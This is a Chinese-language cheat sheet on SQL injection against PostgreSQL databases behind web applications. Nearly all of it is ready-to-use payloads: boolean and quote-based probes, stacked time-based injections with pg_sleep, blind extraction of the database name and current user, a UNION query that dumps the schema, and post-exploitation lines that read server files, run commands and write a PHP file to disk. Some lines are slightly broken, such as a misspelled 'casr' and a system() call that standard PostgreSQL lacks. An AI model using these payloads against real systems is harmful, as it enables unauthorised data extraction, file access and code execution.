一、postgresql簡介
postgresql是一款關系型數據庫,廣泛應用在web編程當中,由於其語法與MySQL不盡相同,所以其SQL注入又自成一派。
二、postgresql的SQL注入:(注意注釋符號--+)
1、簡單的有回顯的SQL注入不用多說,還是基本的SQL語句直接查詢就可以了。
#簡單的payload parameter = 2-1 parameter = 1 and 1 = 2 parameter = 1 or 1 = 2-1 parameter = 1' and '1'='1#and -> or parameter = 1' and '1'='2#and -> or
或者引號區分發(適用於字符串)
1 parameter = 1 #Success 2 parameter = 1' #Failed 3 parameter = 1'' #Success
2、一般的基於堆注入,可以參考下面的辦法:
1 #postgresql 的幾個簡單判斷payload: 2 parameter=1;select pg_sleep(5) 3 parameter=1';select pg_sleep(5) 4 parameter=1');select pg_sleep(5) 5 parameter=1);select pg_sleep(5) 6 parameter=1));select pg_sleep(5) 7 parameter=select pg_sleep(5)
盲注的逐位猜解(有時候需要對字符進行url編碼才可以正常執行,使用burpsuite時注意)。
1 ;SELECT CASE WHEN (length(current_database())=6) THEN pg_sleep(3) ELSE pg_sleep(0) END --+ #猜解數據庫長度
2 ;SELECT CASE WHEN (COALESCE(ASCII(SUBSTR((CURRENT_SCHEMA()),0,1)),0) > 100) THEN pg_sleep(14) ELSE pg_sleep(0) END LIMIT 1--+ #猜解數據庫名稱
4 ;SELECT CASE WHEN (length(current_user)=6) THEN pg_sleep(3) ELSE pg_sleep(0) END --+ #猜解當前用戶長度
5 ;SELECT CASE WHEN (COALESCE(ASCII(SUBSTR((current_user),1,1)),0) > 100) THEN pg_sleep(14) ELSE pg_sleep(0) END LIMIT 1--+ #逐位猜解用戶
3、常見的函數查看一些基本信息:
1 SELECT version() #查看版本信息 2 #查看用戶 3 SELECT user; 4 SELECT current_user; 5 SELECT session_user; 6 SELECT usename FROM pg_user;#這里是usename不是username 7 SELECT getpgusername(); 8 #查看當前數據庫 9 SELECT current_database()
10 CURRENT_SCHEMA() 查看當前數據庫 sqlmap跑注入使用此函數。
11
4、聯合查詢注入
Cast(字段名 as 轉換的類型 )
CAST ( expression AS target_type );
實例: SELECT CAST ('100' AS INTEGER);
cast函數具體介紹參考以下鏈接
https://blog.csdn.net/neweastsun/article/details/111414641
UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(CHR(113)||CHR(118)||CHR(98)||CHR(120)||CHR(113))||COALESCE(CAST(CURRENT_SCHEMA() AS VARCHAR(10000))::text,(CHR(32)))||(CHR(113)||CHR(118)||CHR(107)||CHR(107)||CHR(113)),NULL-- onWD
5、postgresql下的if
1 #mysql的 2 if(expr1,result1,result2); 3 #如果expr1滿足,result1,否則result2 4 5 #對於postgresql 6 select case when(expr1) then result1 else result2 end; 7 8 #舉個例子 9 select casr when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;
5、其他
(1)讀取文件:
1 select pg_read_file(filepath+filename);
(2)執行命令:
1 select system("comamnd_string");
(3)寫入文件:
1 COPY (select '<?php phpinfo();?>') to '/tmp/1.php';